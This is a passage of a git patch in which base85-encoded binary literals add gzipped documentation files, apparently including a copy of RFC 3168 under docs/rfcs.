zQ?jai-Y=ex=dq+htF;I85H_BREr0+T#PzYifa6*v8l7yY6g{(`1eU_hv`l_SIi55p zOKyW991+S&h)(mCk)AY#~;@ zqPG}xdEyQTlvd(_VHm?QsWNm*l3?|CvitXsFS`?7W)!SYR?aqxw@JKv1xa@74B{XW z6t0D_eoV<#H4{sp$}xlyAzA8*u8!7rS!?a=K+a+inzAt*(#l;RauL>g4N*L6619(R zkT^1qjB92!7}-o=vn{a{buFf`qbe>6Ok+xn6NOB>su8obQPq#r%>){H{x)cB56uNG{VV~RvRu*qcA01#59;)n&CVv{X^Mf0i7#5hEzphwvPng@ zZ_a>;eMU=yih*-?z@Cv{pj<1ye`ZAK7j%2T{eh!Ivq!rUtHq`uEgN1MJEEq(UEMVL zEq;6;Vla%IK-U=&`yi>sc);LS+$^1}W*)@@UK&8phh;FiK*`kIAJIU(e*n2uhMGWI zp=|bQ98KC4Sw)-^+#7B+A(3ty4kf}XB6;VfzCD&)RW29JYhw#wQ!EQ3B}S82p;v9l z;2d~L#%fLKPbVseny-uWrbOc&N7FX-mwT@ z>zbHJ5Rf1tR>athO_q6~K~5+u0!FMt1?f=0fr@#&0hG>xuHhCGHpc=x9jXua=Ew?b z34>{tQQ|nuDNoF0okcg4|E$T2XXnvx=Rf~?@aoeJnIF)bN)djVnx--wo(+z%WB_r^o~TvTAxMIurX(k z>_~0pGw)dH^roOVyrt-5O*^3mKScI!ka2hDdOUD9Sk>S#I5cfM3FCu)RO#gy#6JLK z;u4ckcoP4Sy)k5AG*G6y!>HE7v-_@ytg#6e^?qde+q(5WvWk2~Cy(yfk5@b0wHfzm zcX{?!cUR_?t#5Q>3enD85Cvo3oa334jyn4+5mbl3Lpab4p>j5d*fL%5IhsTln^@v+ z)W8g}MCk$bL;fY{6r^mqWH{u#8?lrSgA9L-OD+Zut>M#}x+&rMDeD%mu>Z|eI zn6N_=NWCFfVvK#FCL$A?aYc}oa2avQFf*3KGNr^$y30BVpM!=7@z- zh|piOlfJ)&imRjl*zTe2$IumRIPHXF<{MuY4CR;boVUP|DO=J3K`Akwa_3}7v{cu-P#giXdx z5Ceja6)t$QtNsJdscd$jK66_~OquCQBG$Q1aOYaXF-Bp+ZiW#1trbqI*fL z7-O~$BO1Sw3twugi#1Q#tTIYgTme9{I%OA|-ykF7H|&ai0gUp-=R|7{yvt7LL>*NX zyG0O6x++N<*!>b-%tg2(oX2O~@B28LsrK#cI@DLhvQ znUfQAmLZXeO?F?S1Qc;IaAC~)#ARqGgp)6-R4u(!XiLb${p}jXrP*!C+p43_VFb-sVNdyNR8$~Osp?TNL=#1#;94V=2l|kS zuL2mh4qLV~Z5xsCHs!iT4k$ZOjgzlAEP9c%bE7+f4H*pP2zaj%w#Gh~P+t<64mDNIs#{!!?9XMPbmoQ@B$`8mT6iYg5$a^QXkSyDvP$zG5)zxJSWWDd`Lq_R%4qznePKpmr6Vt)2|AV%%H9}^Rw-mV+N9F zYj10Zo%Y7cEUTA{We;C-0^79JjI28Lb0^0Jhoa=9M-X?spI0YG&MDl^vI%xl0AiOd zW#rDg^?u62KKl##}3u9GxZI zOXAk<(s~0s+?w4N^DU8eyjdBe=pwS7FkO{omuRc5`HwBxm%)E#d>8MpU4@y=*2IoK zvt#e?pn|{W5{f}l6aY?4v@66`t+7aMAsj2n5l9`2k@Y|=*?&m6J3z})Dpk{sNYcVU zd0CPaOA67@i=E)WouPvvOnF)l1ID9+*jbeyabjs0;a6jRjz(N+;E-s`-e=Y=| z+*=H~Jl#I68`VJ|T@XTZp88`oah3sw#F1hMX_lGEzSGy|8f!%rZjf&g)L3-auq)%a z&A14tFF<6RPpt3A&dbUhd;>Y#-F@~<+cI_HxijWQ$|I9#9Sjmm#1(0y^d8aP`}*;v z;ll+N7Yeqew|h8lx{F#t*lFx_ge25AJoyCKk&~e~{slb^IL6j2FEKj4ZMMAP;?Az- z*eHJtiu2)hC!YqDw!;YlFZ;qa6oWx%UJB zA;;C#QlOfP%XCMFkEq{18JHD@-NQj8n1W+TYZJR+)8KRw!md{ws2ddPh`79Lo~0De z?{pR^jl_mo14FwF@9zu@d007wo%G~ojFDMyU@SI>YY@t!_fXj$o4RK!p}{sP%{)yw z>Dnx|l6)*#jmuh@W!0=*GHFp^9^+WzO?Z{$b*UcHW_S_0(L2>^Hf?kRL)MLUnL3#Z z2c5vDznw7khGx0m6UOdDiCa_<@ysWcfuAiVv;P;;^nGmX^~V}$;E77MeYNssrVI@zrjEHa#prjxOxd`of%jF8v9$Sgo+iT&{Fa&DO zsuwpM>NhWpesiVPU1!q?sXFpBvsjInvd#$~R~cJpSLiD5tD76*1iY)O_CAWhc);YD z4Jjz*;Fl;Lp)f_^6{^dp^H|c{VHzzrvqhQ6=^S;|tsz^1Prg+ZH3(Cnl0l+ak)7hc z^hu!hSi>;c!EFc183naQqW$5w@2`A@Hl@~y*lL250yN?}3kEUfbj~77i%jT^WkXg2 zmJYojY*awNt+pxzCs9P*XmoQ9Ma`0CGfshZOOl%eB}6H*25e7^IFz8LQfX*N!ve5t zsp2_cP6%9;6gAZ~H(D>QY5+K)pGGQh1w%O>x|&4fYJS}n+HvJRYOKS-KjpU!pDb zCgqF*3IbZQtVp$GIZ>q-(KI&NP!iq;vGIS!qNM6069+Lac={=#bIlS_Gt3aoz2tx< zsYGj;5*)o+yOO@2RuKc8nd4BuGor0N>PlI3H8o<`jtOxohGG;l#5yeWIY_p}|tJp9(foF~$%(G7#Hf<>PfoytILXvJ?wZXA5$9;lrVEZs}bXC#dHl z$kTeDz(Y6^BmrQlkO)$kNWa*=u2x^+YZm(FjrJEx$C zZ2EF+XrL47v~HV&M-a>*t0962A4 zKnX#`T4lc-Tfa-I?gdd7D%Noq38sFtg;0@IF0u!a z!bhaMt-Wsrkwm7kYBN_$kx!+v;Wj=#ad=feH586W)}~3sPF{8wLY6sPuXLyY(sdB; zWxI!H_`LW$kae&tMq*1`eE@Q)$gH?VXEN#JF39DG$x`P1{uCqGO;KQh)?_JY-33W6 z?q=>V{trYWhXJ~=cT#Ru;#S`3N1^ctTzAP8z3E7^b!0n3bg~D^4LJ`^DC=j|=vizO z`|Y%JdDlH@Yhd19M#Hd})5~ah^5pdx^t6JbK9G#wW|TW}czq63@c88DR8b7W-m2)N zqN){Wf`RW(P*m`3Er{1#pL4LefAE1ipkBIR@{A(*dWC*YDk4BGG>+%d^0%n7N@pPi zaWB);6y%>Kb;dI)j=4%C6k33vrE}`IK~Yed>9WHy65dwtqfCA2IAS41nbp8ZFc>^{ zR)~?u1DCcnP{|2|fkq1g;q2&0?(_l)hG2b$N($O(AC6E}Cqvm*l6!07DaF+F+9iD+ z^b%pnje|&E(Hc@41R)LbNVG(-?OjuMcogN~NsZ_gr77aMzz#e4rzV+%J2+^~y>77} z4y;7v>y|R0lwxX2gJmn1Ni)0Uw_T>VqN!HQMN@pYSs1&W;lH$OYjd3~@}y3_U^4F8 zH?i`>n|`kHKUyO2_yCSn)IFqL?sFsZyC@h$r+K$>mwE|ncx#!u-CzZuZ8kZ3o2M3Y z%<5pLf1t?fPHeX{PpR0Qn{`5o?OOZm%VeB}X==0r@q7cEj2rslLTA@9IWE)B` z7)rBpwbmpmlPM|>ck)!an}ONNfhc)fjOC*SJ#m3-B^oS$;;pbst`^D1AbpBl<1tN5 zVAmee_{9|&sZyGku6^b>+9U{2M2j9zMBjUS5nYj%&(deV_)eLUzm(pUx$9W#{BU$^ zIL>n`PBf*t4CFcW2t?lL9<>W9thr{7NWz`^sE9k9UWs4VR;y6Njdc7O>Y!U8X@ zx||D)@5`(8j>B}*yLKpLTGK`^gMtOZP9zxy83D1!qVe6!(%_=>V8JQhenioKFin=M zC9bCzbJk-lPCz+^95Wd7If%vaNbNwdEk!$Y9_%+*;zi(CAMR8)C%(1r97$OXEQLcj zIhrE2{Yv^EAFy@VSUv8CU<3TKD$IZn<$Y{%mldCPy3C86@u z)yB`g(Wujjq_Xud#!ewm6wo$uT@T%Nj6iwSX(@zp^MO(^(%^*EM+_YA&;+S;Pg!`r zY%HbaV#H|>CfL7aT1Z8ff{`fw^%&_xBmo6*Q;zUj0-+sIRRWY3=B+amWObQ4YbT-< zJ)|oUH$!aKjfYxGxm)tMnORu96=b1PWqetJR30=>;;<6LYGNj2@*?uM=^|}9h@loQ zfEsDO&@LUOXp&R#E3LOz1eDX*v`rygu84qJsD0fn9fc#4q|!N&qyYbLC~V?nTb&5* zFc)HbfUJJxcH@d_B44FCdL`ETy}30A|D!gy#C}T{clFT2@k5Z3go(1Tzg2q4K4;5Hz@(qCoRC@R@wuiS4n)w$1usgRne7udDK?K#6;QXE!U_*SW06bA8*lD z$3?g$$78!%k%hv=&1$Pq4F;2_0>N|BD7wa#FDY;C)v@j*7 zj9eNR#^f^arg?q7oe^GKij$sm=aYd2*9>2geBJ6b-9;Ia`$C%HdQ5P}X{`;>;WW1P zpG{)aMNqqLA0~0a#Mki!3Z@x>_SNZ+$;ysVkENq2m+VoeIGIsqcwBc{q>DMaT?x@+ z&*`%&Fs_>_HnxgbSjm-&t@@g!yy(u7Srf-$ZL8RD-B#krDkV3dmkb9n__ndOtY}4@ zqD|{nyII-k<5Y1IVf;_%8rVOFv3JZ-*$Te)wJk$zZDGa$;n2^~HtHWoc*~t5Hd8gi zMIod~(d~;u6txR_xsj7j7fV;SD`VT~@TaK^lnTB^_*Sd@8CiW^JI)j>H|bj@xz z7bouWj@D$h3Ittb?3nG%(k<7K(4tVT$QT*PQLG5+5mE#gn%E?Cs=qYX%%v}alVcjc z`@Nh}9+rScZ%nv%lGby)H2GS3E_Fr9e%W6O2*Y!=-7mFhk#p&lKj?N!|9Xl8OTLcG z3;O+ND>80a(9A^`M-4)SdXS(sS;GKLCW+W5dtR1q#uTZ5PPBA|Mlzo{1$eu++fyCo zfeS$=^%6}1VLs2%;(|)ByGsMwf|di*28p6-aT(sV)N<~tkd(eFvh7+rFW0q+-W+a> z(rpA!Fn7&uX(_h}oSOv5b88dyA)%lKM>(y^&uI~KgC3~4mKal-r1Esz*Ew4!NyJ+~ z3u<)ogeDt3(6FcZA)6q*ZuH>t?9iQ}*8}KsF9tg5=NTZ+kUfq!M_nf=0s+puMh#`@ zLkdFJx?Vw2Zp5hlpj1ysq+ zb;Ue*_IiVe7&d6{sk1jQFA!1hKuu<@kmAOZGdJAV|4u}P@_EYNP+fXtT&T61oFje; z7aH%pq>dRn>-k`jW8=0or5~-K_Jq-X;83O0!6LfL()(EABZkKx9(;f-7@MjSMT^pQ zyLHWH2Y1PU6}V>kdK|r3^UZ;$wmJbcopw*uPo!bv-lq7>#FsMG6!Y8_13^k8_)v$XFgfloEdn4} zpo)+*3O=LL#iP&bptyw((+tlg$YhDC7JD^gC&{%x^iFN0vD3Y~W!tq1qgl@OQ&6Zt zzIwW23KWtJY}Yt6HjaR6+J1_eAKfveT@4Q8)7(1a@YKPqd%k4+zzZ^wzA<_C{=?Z@ zo@H+XG&}JBLjZN5I;Xw*_b{PrzG1eaK~J(!4-W&(knDA~q+ol0)k)+J-wGhd#pN{j zLbKQs@)P(@2z!PVcP4cOV9QnJV=Kcsb}ST(2|~K!Y{HxeH!FpdDROJ>i^uvF78-Ko z`(ThB5}c?ld*Q-~eKBi3TA~?sIt#Dfp+-8)RKjxIu)KAT8(({jM+S_w(8XMmaLNY; z3<3d6Yg0gL6xKxJRu~)yLtWA-{EluTA>Vd|=f zvciBKN|SRE76Z)4t>^1Xc;$|Hu>YoAQ4*H{rp7!B4ZdlVFrxqAwcw0wlr@v;)}6M3 zh{D-)YKTj)mA!$MMy$FrCxY1$FX^jV_!YU%YQgyhoiu&c>n!Y0Lbye`p)SbxP3}0# ziPK>n5ytRqUhYvz*O#M}YbTNNGro#;;zK?#Li%`e8ApfjKE?hj*_2AV_NR3Se9rjd zknw80YRa1`S>3|bnkD&6;Ev8fpXQoK`9ogtk~F=6;|?cs)#_wjbMzm*Bgqj)@BuBp zNu9jOlB6hubQ>hG41`A?R!i`CT3f#be9&TF2drn$$Dg^5cKo-5Xftf_*4gU{Z7xXd)Zg-%-&5I`OpLv|ZnmPh0h%-+h!7BY0r6 z%;qTEBuxW&wi7#5$B)ag{bp#g){}msA>-c!uCbJ&ly3AL&t_x@BhA*W(Jn!Bq;~Kv zh3hy7VeV&zaBZ@tZMah^Y^S04PC%_6C6-HqfE=ksKRz0Iur{g&tH~>oM#6J#fGN3jJ-D%B`IQCR{oW>x5tyG|AcOMeF|bYtqHDmfo+8o z4H!5cIi(+@^pwHdDVM?0Y3)JJO;0iA$N|s*%~A6LlUZsPHo57t)TR(naA2~gRxGl4 zf<15W$wf1YC^oaml6+JyM&jcn?4+xN%3f8{fd-O>t9c%CnW(kcO6_tu>XmbHr4w`) zW!y01ZiRTXl_D63qH@7jsVy(-F!I#6M}k}t3lrQUB2hqBx@_Y<)lMWlm5q1P?!6LY z$o9Uf$|MF8g&GrPKpUryBR8Rp<{RC5hf8C+ex2Ht1&d})j6v)bbV(aQuRn%QN+h6y z*JIO0io{0bj(oxWOHJ6Ef1ab}GfOJ8?iPoisZ6z!GCi2)>hrDn4L_Wd$_x83_a<q3G^Avky%`gAL?7(AoN8KLh;-48YXeXsn5{W$xOP2LVR0dsTC-*}%Ak zX=Pg`uk1&SJ91|KPT4e<+uiLi5|**BnsK*;RN?E(_bMTvs9N~WP>L4mmqwhhojUla zj``MU>R6D#C+%J$2O;*#B$HH?uKS9LAF;)A*uW|-RqtWX7TvCP`r?q`6lk3xLfdCUaKO z@XK}k8b6|;__15X?d^@x6y%d8m9uz!^JS3~)=qE2RDhdQSP!tNDM^EPv*&tQjJye` z@vIYfD)|c9LV>~>xGEBM9%kW!a(@AE80Nt2&&=(*f7IU0w85k#g$A%cv`8G?0F|)j zDET0@ox;$BY^0$%xr5#^4d(9G=BTC9p=(i+Nc&hHcN{i4VRg@z@?j(C|#Z)*Cla{CNL>c+Cl}H@}}|qYuA@Sg{fGBKBOT<$?}Tt zJ1U-e-*Co{_C3~tVhMyS*&A!A$Xz@7X0?>Wq%Sx|OPn!cI5rQ1=o%PE`k0!bMeS=APuu8tc`{kfV$oge=7kJ(>DJ+awTtwKrE!>)f}(-JlyA!HD(Hg$9ghU z@7c!<+K354AX|+3A*4Zrr^7W+Fy|BmDUrwuaOtb)Q@Mg$!2~KC)|&GGPMrN(c3NC! zoY{n80Y*0u1T3li`@ja8PFEU~4pAfHfEn$fY;uk}6?S^%bjreGl931bTK;nI`V*mz z01f_{wi#84F>v%v&(SZ%1>)H!cV80zV#J)( z$%s2aDdZWPXO&zXZF^?!nUR@%>8sLyp-q^u~t zV{R}Djx|fq{^n6&xKrFw1(XzKDUHa*Cty_=Kq~^k=J9bLiezOMN-&8RNHyohY!-WC zk)Y!Oz}1#vo^q8FTpUg?12sr@U23EdRh3`>-%KXQDC7RhgT@+w9?Ug;%t)8Z_SYX~ z2uPf`O6vEC6bQ+_2>N&Pm@*OO#ybvMrOj$XD64HTHhM1VGaK#cME4%%P~naStqm$djjtIFsI zYitCDH=|jL;p|(x2F5Vz9i|i`MePo1iU}fLrw(9~266dKj?usPJO(#bm~%qzx4W0o zJGST^kuQvkXZ&yjFqI0NcjjTGNM=C# z^KuLWkhyp!>9M~ZzWe0J74K&aG*~ z?PAR5`&aZv^>==T+c;I)sumIv2A`q&25S>{Ptxh`-D4_m-k&J>I2#|1sS~W($Ll!y zaCO#ubL+NgRzEy@c7K0Ap4H=amM7zM-ah-!+oZ~#rL$s`rOjfzs-<+$Z*NaePA11! zzak_qGLV+BkL@q85xSPV`8V(zoYDy+2C9be=!E_FZzsJ$ z=$jp%>ko8*eJFRY1nKaI8O!$Jkl%vjk66|l$Y31_6}rf-%&|qFw4fXH#wx0tahi_v zX+FLw@18ACpg?erZ<}SVusohze)_h%bR2{kP7FN=elC-BUM6$5-Q8FHOZ8~d&Y#d8 z?YEPk4_+upXjzO<2$P?aSve(u{EFA+3O)l3`WOXUIMRk?*B(Svm!Ml^Dn}fu8(>*AY=hyKbTyH?9!}bQ1A=tzVxUA#eATJK~M=z0OGtw*w zXW(Cp9%NvvpP?UOJzmWhTU}FY2#zgk|AEoCUr;szS=sE&*6$slwy;lldbuKr4}Mv; zg;MCNlw#9iYjC8nx#;^idOvH*4R_@wZa3Q79X*%L^{@9sn{8&Rf5i*&5{S$Aui=jO zKMf$j39-vx=AU$xc#H3`O@e%&wu{) z;FTa7$Oz}NBaF?9!z~l;jX{|}dtja+ofIQypF+(mvLl>feI9_(IU3?-aLWSZdu6%X zD>}hGBiP#??ZIN7XlwfYgFRm8WeJxSDE7}J<*IISDbWKs(e+zoF(^X7OMOUM#DBeK zXLvC%!?o?{BgomEZ9mpl?7`1IvhLn&k0vPn37xYL410So8Pew%uU&yUea+G%2>-vd zc@A5-A;`~I-GN1ZSj`jZ(cGu`R)bUxS|mxFDz?io=e_sh<-sSuK1)!o&|Yy#=doUq zaa1IDC!co_p?~ac)}%Ty3=R{wInDaq%=+^C?`hU!Kw8#3ko<04-mYun zEM|iiii0Avp~+tO$*7AvN?}^v)C8Ad>*JRqn`Q()_RmDn2?7cI;zV1Sp^)A@6Fo;gg$y`fFq?< zrV8ybX5kByGcrmbmG?&QR*s*>Xc(zrj5(I5N8R}nD-6)9s0Z7t)*lF^z6ogEpH=(+ z2s|fG?(5GPZi8TWHr}LXBONrAMo5gOu7mDFQ6%;>?OYg7!kHxhtZp?z#~0L(>X>@^e+dOG2Eoh;NqNgFX~FYK?~?= zH}1U&brk|E|Fz7=uTg^>Ki@$7zkfa2d%frG43dSt@5lb$4WwSU?>cdfz7)iuAN~M` zel;Gn^Myt}4vEFbB*1f~k5%?Djo+gXBXahTyA!Kdj3jbT0}@Syiq=?3sJ}VDYsAq# zSnP>PQ^sg)o{8^?gYBtckdJ27Of%42R%R{Y=JnyTS%JPhN)q!vSe?W-0;Zr1>{?F= z3Q`Z+RWBzCa9$!s^tK~jxx^*;Vqa3&h#`U)h9(r=~^l_M0>ABQWP6|3Xaf>#}`Jqjp1-%|Fq1ov(~dSXZzvcZ#i(^Z|3^? z%%{yzxfgC#<+|RwQ7H>;VBn!q!wwe$eF`q)d>ZLX_Cs_A-@ZGd=D8SwTxB;I#>#d8 z$h;t@XP?T$+@kxwhs(W1xUyfh)~jY)vJcMIcWal2q=}Vfkv?UIqquqMcG^@-8)90_ zy(zZpuMu}_*Ihnl2K1lMaS5YYVJH6-{W~7TDB6>cqW=}`1(faIqunpN@T1@V6MU~N zFgnK&fD-TReHj9BNkt;ilK^uE#iTYsaU*v9pqtpZi`|eu<2FuCPLBOHc7cTM^DSM1 z-pvK*dL{OqpOwf+=Uco!@~)3`T2S+14HA(24PWMu2)VmoR6>$+LsSyvN@PTR2cnEM z+DeoEC_#eCuDWn}dX+tnWAZ856}#?uT4Vx4YiwyTio`K#7+Uxy2vNf*5@{9tokWv- zX9|&NX0I9MI~eD?pv}3B#<2~_CEb!L-^^X&h3jn8DI{(D@O~v&b}4ZkHEoHflq$CQ zk$ovJ*90dh1}2pmUGoFi_7BmpC~48Q8msSAXA4oNt6v~wvbGVQ0?1Qzh)w%UXsKb{ z7^!f`X>=~ByH|&;D9vUTQghLT%=6ZQwv+I}T_(w<0f!8D^GF950e>-$=&+s*U*t+E zZiiW`^!Ye)qL1l^R=Y?`DRtzEsPra`VJbr0s}`uy zXwPiXyMQ{uG_fyIC>^li>f+$i7cmY?sL7CF(H@sRKreH=N$0ACu#-}l=8{VdFs;1m z3a|%uso*jZsz;V@N)gOHgD-B4aCqekrOu(B!^(R zejxQ(&UH|*c4lYx?$j!x4$nR>i>IRO2GL<0^ifN{xsX(IEqY(7WvFBh-s?_m<(R8q zuz<|foDq2hlvKH{jbv1cMLHSRuc&cR^sNMo!CJnQmcjBzI&>L5ecBwOZr95#aEx^}6z#4M@)?!u- zr5j?lhMx_K5F;t;)?2WB35FE8I(kh=aPWv0w&%NlMt*P0B}5XT^jzZNTgWj<3sMrN z8oDyQeq-Ijw%(mVY{tL+SNFaiL( z7K^1Zw}T$5Dq-$uY!Bf6_Ha*uouF8h?=go~I`p%%%%5;9qZXmppiKYJ2-K?)3wj9f z1VKuDG4irO`4S4Y#NO9k3Eh1N(ZvfufPa)j%2~qB)I)?|$GqEf6 zZrwjlZ@jm?2bxNMy@VW+Rm~_f=IjK4!BAn`lY`H>< z$33;;Eh|wpFq1`$z+|$YRarw0L^6ZN8GoqKtK9wfW>W+sS)lDW@j zGP$87T+o}6g^?vzdgER?MlF`6nQmSG_x;JqQ{+-If~VGxCYk>UEr~WWKkD@y>{+O& z5!jUS3lQAiIUJw6Plf^y-uBFvO2g8pn#K=YhAUQJLL-{i;7~A^N;1S*jbC%h9-9To zL{(Omlt$?0s0eR!LE0j891THN+9u(ypu7hZb0whw+W`jU6CI=+-)_Y(XTEEE% z8&cZ`PB|!pZYuh88I3P&XKM|7U(uOM~0aDw5eOUGdE^Y>S0dE1_tWOlh8Ly1@cwRaseOQaQ!egSFF% z>Luk>jKSUU9=K`M!-vFdXZVV70ShthCsek-d(pT_)NNVTu1ftqslA&T5MPLP_p#q! zRElKkIE*Gk4d|>pWhCwtd^)8A#2MA}gl0qlH}}1yybN>eP}{~Jx_2NE0%>8v6s8i9P4gZu<8n{rf%r`-+y$QZ|385D zAJO@nzZ&4dKK?G?J(iUEC-mxh16Scy@1oGb4jn7rh^=#=;7crcaSkl6NjL}e2(*$d zCbh0}j0jr8zA!tPCBA?AA`ON~YGnwq;vjU4^kfLGIKl+1`}1 zAn`2?8)6bND`4Qcm|W`UH(UwK{>c~g!S5 zt^wKBzH=;4m!0vJr)n?1|DG;U#37_^o1LmE+Sru`q2hi?E(O5aDll&Q(KK@pB7_jl^$YI3?!is47=);aHIU`Q*>l2UriUI4(lo5S&N(&v}1Km^rRtcVogqA&qr?sgQajMpP)yO z^B0AF{=UuLm5$YM`_0*7Y4y_SROR|aZfeJ(#sCewvt_#iThZPwI*GO(Y#_DegRVBi zEbEzTZKJGB5OvLCT|Z%4h3LK$ETxce!Gy!HxI;VYc2nLmT~QvlJ<9XPZjW;K;riYC ztI5;o@a@~HxkXMhu9mt0RzU*5tY{Sf`*UbKC%|6(V4@oIPU zdjAy#${wF5S^h)x`7>5u`R7Vr8z)UOo^c174_9YDL?(x;`^+;mIy~b6SiqQ&gPtIW zf1V}x?6-I$>3z{fA{J;^Y*`^UUUwJz{od|Q^z!wq(f;>)ugyX!Vey}RcGAEKM}s+z zPrl*jad6)Cv&$o|uSYFrQ#Ys8K(qH+_WxZK-*l!X8Vi%(Sr#*EUM1vx3&L za>{DSCB-Ppj+R{yg3AV|xsJuIESc|)EG*KN(UvBWzL4#7&CQQZ&z#=M$u*|sG+gWT zE+*-jv3Xa%EUTNO$o`f{1ug8)yCNqQ22hwV-Bnv*F=Vl7NX0hl7oa1lU|Tz(kK0d3 z@fA=gD9u4Cg}6NgYD>6oH=vZLSM#8cfR|=kN!VRV(Vx0VP#w!WDL@XP7)cjdNMxzF zL6q}cQfRSq!+>rb-7qmg?624ufO$&sCD~o}EP> z53jBcFRo9ICvkNAe=d>3Menbo)AP%-Q>+tpdU162;jN7F=EHS#@g6wb>G|pPG0gZL zCjN_#@fTRZ;WaJe!{j)6ehz~~ z*EB!=C2KHCgfXd<(ec&MJNV@A&FR@GObgGSoL*nx(ogW+=<@LD`t<0-+2K`m`QhsF X{p5K3CvzOCwfp}72@TcXFZ=)iN5_RS literal 0 HcmV?d00001 diff --git a/docs/rfcs/rfc3168.txt.gz b/docs/rfcs/rfc3168.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..f92481030f35fbe32f4801ee3933d382b4e1d2de GIT binary patch literal 47681 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 